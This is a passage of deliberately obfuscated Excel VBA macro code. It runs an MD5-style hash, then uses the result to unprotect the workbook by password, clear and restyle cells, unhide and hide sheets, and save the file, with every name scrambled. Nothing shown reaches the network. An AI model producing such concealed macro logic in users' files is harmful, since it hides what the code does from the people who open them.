b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 15), b211ac55ab7f689adf50ad1aa4a841916, &HD8A1E681: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 4), b211ac55ab7f689adf50ad1aa4a851916, &HE7D3FBC8: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 9), b211ac55ab7f689adf50ad1aa4a880916, &H21E1CDE6:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 14), b211ac55ab7f689adf50ad1aa4a890916, &HC33707D6: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 3), b211ac55ab7f689adf50ad1aa4a841916, &HF4D50D87: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 8), b211ac55ab7f689adf50ad1aa4a851916, &H455A14ED:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 13), b211ac55ab7f689adf50ad1aa4a880916, &HA9E3E905: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 2), b211ac55ab7f689adf50ad1aa4a890916, &HFCEFA3F8: b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 7), b211ac55ab7f689adf50ad1aa4a841916, &H676F02D9:
b211ac55ab7f689adf50ad1aa4a882916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 12), b211ac55ab7f689adf50ad1aa4a851916, &H8D2A4C8A: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 5), b211ac55ab7f689adf50ad1aa4a861916, &HFFFA3942: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 8), b211ac55ab7f689adf50ad1aa4a871916, &H8771F681:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 11), b211ac55ab7f689adf50ad1aa4a881916, &H6D9D6122: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 14), b211ac55ab7f689adf50ad1aa4a891916, &HFDE5380C: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 1), b211ac55ab7f689adf50ad1aa4a861916, &HA4BEEA44:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 4), b211ac55ab7f689adf50ad1aa4a871916, &H4BDECFA9: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 7), b211ac55ab7f689adf50ad1aa4a881916, &HF6BB4B60: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 10), b211ac55ab7f689adf50ad1aa4a891916, &HBEBFBC70:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 13), b211ac55ab7f689adf50ad1aa4a861916, &H289B7EC6: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 0), b211ac55ab7f689adf50ad1aa4a871916, &HEAA127FA: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 3), b211ac55ab7f689adf50ad1aa4a881916, &HD4EF3085:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 6), b211ac55ab7f689adf50ad1aa4a891916, &H4881D05: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 9), b211ac55ab7f689adf50ad1aa4a861916, &HD9D4D039: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 12), b211ac55ab7f689adf50ad1aa4a871916, &HE6DB99E5:
b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 15), b211ac55ab7f689adf50ad1aa4a881916, &H1FA27CF8: b211ac55ab7f689adf50ad1aa4a892916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 2), b211ac55ab7f689adf50ad1aa4a891916, &HC4AC5665: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 0), b211ac55ab7f689adf50ad1aa4a842916, &HF4292244:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 7), b211ac55ab7f689adf50ad1aa4a852916, &H432AFF97: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 14), b211ac55ab7f689adf50ad1aa4a862916, &HAB9423A7: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 5), b211ac55ab7f689adf50ad1aa4a872916, &HFC93A039:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 12), b211ac55ab7f689adf50ad1aa4a842916, &H655B59C3: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 3), b211ac55ab7f689adf50ad1aa4a852916, &H8F0CCC92: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 10), b211ac55ab7f689adf50ad1aa4a862916, &HFFEFF47D:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 1), b211ac55ab7f689adf50ad1aa4a872916, &H85845DD1: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 8), b211ac55ab7f689adf50ad1aa4a842916, &H6FA87E4F: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 15), b211ac55ab7f689adf50ad1aa4a852916, &HFE2CE6E0:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 6), b211ac55ab7f689adf50ad1aa4a862916, &HA3014314: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 13), b211ac55ab7f689adf50ad1aa4a872916, &H4E0811A1: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 4), b211ac55ab7f689adf50ad1aa4a842916, &HF7537E82:
b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 11), b211ac55ab7f689adf50ad1aa4a852916, &HBD3AF235: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 2), b211ac55ab7f689adf50ad1aa4a862916, &H2AD7D2BB: b211ac55ab7f689adf50ad1aa4a883916 b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a818916(b211ac55ab7f689adf50ad1aa4a838916 + 9), b211ac55ab7f689adf50ad1aa4a872916, &HEB86D391:
b211ac55ab7f689adf50ad1aa4a814916 = b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a814916, b211ac55ab7f689adf50ad1aa4a836916): b211ac55ab7f689adf50ad1aa4a815916 = b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a815916, b211ac55ab7f689adf50ad1aa4a837916): b211ac55ab7f689adf50ad1aa4a816916 = b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a816916, b211ac55ab7f689adf50ad1aa4a835916): b211ac55ab7f689adf50ad1aa4a817916 = b211ac55ab7f689adf50ad1aa4a809916(b211ac55ab7f689adf50ad1aa4a817916, b211ac55ab7f689adf50ad1aa4a839916): Next: bbf1a755ab7f7f89adf95e1ad2fe4a800915 = LCase(b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a814916) & b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a815916) & b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a816916) & b211ac55ab7f689adf50ad1aa4a844916(b211ac55ab7f689adf50ad1aa4a817916)):
Else
'a211ac15ab97681ade50bd1aa4a00916 = a211ac15ab97681ade50bd1aa4a00912 * d211af55ab7f7689adf950ad2ab4a800916
a211ac15ab97681ade50bd1aa4a00916 = a211ac15ab97681ade50bd1aa4a00912: c211ac55ab77689ade50bd1aa4a00916 = b211ac55ab7f689adf50ad1aa4a800916: fff1a755ab7f7f89adf95ed2a4a80916 = "":
If b211ac55ab7f689adf50ad1aa4a800916 = (d211af55ab7f7689adf950ad2ab4a800916 Xor d211af55ab7f7689adf950ad2ab4a800916) And d211af55ab7f7689adf950ad2ab4a800916 = 1 Then
Set b211ac55ab7f689adf50af1aa4a800916 = Sheets(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 27), d211af55ab7f7689adf950ad2ab4a800916 + 1) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, 4), d211af55ab7f7689adf950ad2ab4a800916 + 2) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 2)) - CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), 1))) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, 25), d211af55ab7f7689adf950ad2ab4a800916) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, ((Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 10), d211af55ab7f7689adf950ad2ab4a800916)) - 10) / 2)), 3)).Range(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 27), d211af55ab7f7689adf950ad2ab4a800916) & Trim(Str(d211af55ab7f7689adf950ad2ab4a800916)) & Chr((CInt(StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 10, d211af55ab7f7689adf950ad2ab4a800916))) - 2))))) & Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 12, d211af55ab7f7689adf950ad2ab4a800916) & _
((Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 2), d211af55ab7f7689adf950ad2ab4a800916)) - 5) / 2)): b211ac55ab7f689adf50af1aa4a800916.Value = "": b211ac55ab7f689adf50af1aa4a800916.Font.Size = Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 11, d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 8), d211af55ab7f7689adf950ad2ab4a800916)): b211ac55ab7f689adf50af1aa4a800916.Font.Color = vbBlack: For b211ac55ab7f689adff0af1aa4a800916 = d211af55ab7f7689adf950ad2ab4a800916 To Len(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), 7)) - 1: Set b211ac55ab7f689adf50af1aa4a800916 = Sheets(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 3), 1, 1) & Mid(fff1a755ab7f7f89adf95eab4a800915, 3, 1) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 7), 1)) + 1) & Chr(Asc(Right(fff1a755ab7f7f89adf95eab4a800915, 1)) + 1) & Left(Mid(fff1a755ab7f7f89adf95eab4a800915, 9, 2), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 6, 1)) + 7) & _
Mid(fff1a755ab7f7f89adf95eab4a800915, 2, 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 2, 1)) - 11) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 12), 1) & Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 2, 1)) - 1)).Range(Mid(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), 7), b211ac55ab7f689adff0af1aa4a800916, d211af55ab7f7689adf950ad2ab4a800916) & Trim(Str(d211af55ab7f7689adf950ad2ab4a800916)) & Chr((CInt(StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 10, d211af55ab7f7689adf950ad2ab4a800916))) - 2))))) & Mid(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), 7), b211ac55ab7f689adff0af1aa4a800916, d211af55ab7f7689adf950ad2ab4a800916) & StrReverse(Str(Asc(UCase(Mid(Left(fff1a755ab7f7f89adf95eab4a800915, 13), 7, d211af55ab7f7689adf950ad2ab4a800916)))))): b211ac55ab7f689adf50af1aa4a800916.Value = "": b211ac55ab7f689adf50af1aa4a800916.Font.Size = Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 11, _
d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 8), d211af55ab7f7689adf950ad2ab4a800916)): b211ac55ab7f689adf50af1aa4a800916.Font.Color = vbBlack: Next:
If Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916)) * 2), d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916)) * 2 - d211af55ab7f7689adf950ad2ab4a800916, d211af55ab7f7689adf950ad2ab4a800916)) = CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916)) + d211af55ab7f7689adf950ad2ab4a800916), 3, d211af55ab7f7689adf950ad2ab4a800916)) / 2 * 3), d211af55ab7f7689adf950ad2ab4a800916)) And ActiveWorkbook.ProtectWindows Or _
CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), d211af55ab7f7689adf950ad2ab4a800916)) = Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 10, d211af55ab7f7689adf950ad2ab4a800916)) And ActiveWorkbook.ProtectStructure Then
On Error GoTo 0: ActiveWorkbook.Unprotect Password:=bbf1a755ab7f7f89adf95e1ad2fe4a800915(0, 0, Right(fff1a755ab7f7f89adf95eab4a800915, b211ac55ab7f689adf50ad1aa4a800916 * 10 + d211af55ab7f7689adf950ad2ab4a800916) & Replace(Chr(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 9), d211af55ab7f7689adf950ad2ab4a800916)) + CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), d211af55ab7f7689adf950ad2ab4a800916)) * 2) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916))), 3, d211af55ab7f7689adf950ad2ab4a800916))), 3) & Right(fff1a755ab7f7f89adf95eab4a800915, 2) & Chr(CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 5), 2)) - CInt(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 10, d211af55ab7f7689adf950ad2ab4a800916)))), Chr(CInt(Right(Left(StrReverse _
(fff1a755ab7f7f89adf95eab4a800915), 5), 2)) + CInt(Replace(Mid(fff1a755ab7f7f89adf95eab4a800915, 19, 4), Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), 2), ""))), Chr(CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 5), 2)) - CInt(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 10, d211af55ab7f7689adf950ad2ab4a800916))) + d211af55ab7f7689adf950ad2ab4a800916))): fe61ea755ab0f7f89adf9501ad2a64a800914 = CInt(Left(Right(fff1a755ab7f7f89adf95eab4a800915, CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916)) + 3), d211af55ab7f7689adf950ad2ab4a800916)) Xor (Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 12), d211af55ab7f7689adf950ad2ab4a800916)) - Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, d211af55ab7f7689adf950ad2ab4a800916 + 10, d211af55ab7f7689adf950ad2ab4a800916))): Dim afef1ea755ab9f7f89adf9508ad2a64a800913: For Each afef1ea755ab9f7f89adf9508ad2a64a800913 In Sheets:
If fe61ea755ab0f7f89adf9501ad2a64a800914 = CInt(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 7), 3, d211af55ab7f7689adf950ad2ab4a800916)) Then
Exit For: End If: fe61ea755ab0f7f89adf9501ad2a64a800914 = fe61ea755ab0f7f89adf9501ad2a64a800914 + d211af55ab7f7689adf950ad2ab4a800916: afef1ea755ab9f7f89adf9508ad2a64a800913.Visible = xlSheetVisible: Next: Sheets(UCase(Chr(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 7), d211af55ab7f7689adf950ad2ab4a800916)) - d211af55ab7f7689adf950ad2ab4a800916)) & Chr(CInt(Right(Left(StrReverse(fff1a755ab7f7f89adf95eab4a800915), 5), 2)) + CInt(StrReverse(Mid(fff1a755ab7f7f89adf95eab4a800915, 19, 2)))) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 7), d211af55ab7f7689adf950ad2ab4a800916)) + d211af55ab7f7689adf950ad2ab4a800916) & Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 14, d211af55ab7f7689adf950ad2ab4a800916)) + 3) & LCase(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 2), d211af55ab7f7689adf950ad2ab4a800916)) & Chr(Asc(Mid(fff1a755ab7f7f89adf95eab4a800915, 8, 1)) - d211af55ab7f7689adf950ad2ab4a800916) & Chr(Asc(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 7), 1)) + _
d211af55ab7f7689adf950ad2ab4a800916) & Right(fff1a755ab7f7f89adf95eab4a800915, d211af55ab7f7689adf950ad2ab4a800916) & LCase(Mid(Right(fff1a755ab7f7f89adf95eab4a800915, 2), d211af55ab7f7689adf950ad2ab4a800916, d211af55ab7f7689adf950ad2ab4a800916))).Visible = xlSheetHidden: End If: ActiveWorkbook.Save:
Else
Dim e611a755ab7f7f89adf9501ad2ab4a800916: Set e611a755ab7f7f89adf9501ad2ab4a800916 = Sheets(Right(Left(fff1a755ab7f7f89adf95eab4a800915, 27), 2) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, 4), 3) & Left(Str(Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 4), 1))), 1) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, 25), 1) & Right(Left(fff1a755ab7f7f89adf95eab4a800915, ((Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 10), 1)) - 10) / 2)), 3)).Range(Chr(101) & "1" & Chr(Len(fff1a755ab7f7f89adf95eab4a800915) * 2 + 4) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 16), 1) & Chr(51) & Left(Right(fff1a755ab7f7f89adf95eab4a800915, 8), 1)): Do: efa1a755ab7f7586adf95e1ad2ab4a800916 = Split(e611a755ab7f7f89adf9501ad2ab4a800916.Cells(c211ac55ab77689ade50bd1aa4a00916, d211af55ab7f7689adf950ad2ab4a800916), Chr(Asc(Left(Right(fff1a755ab7f7f89adf95eab4a800915, 10), 1)) + 2)):
If UBound(efa1a755ab7f7586adf95e1ad2ab4a800916) = -1 Then
Exit Do: End If: abc1a755ab7f7536adf9571ad2ab4a800916 = efa1a755ab7f7586adf95e1ad2ab4a800916(a211ac15ab97681ade50bd1aa4a00916)
If abc1a755ab7f7536adf9571ad2ab4a800916 = Left(Right(fff1a755ab7f7f89adf95eab4a800915, 10), 1) Then
Exit Do:
Else
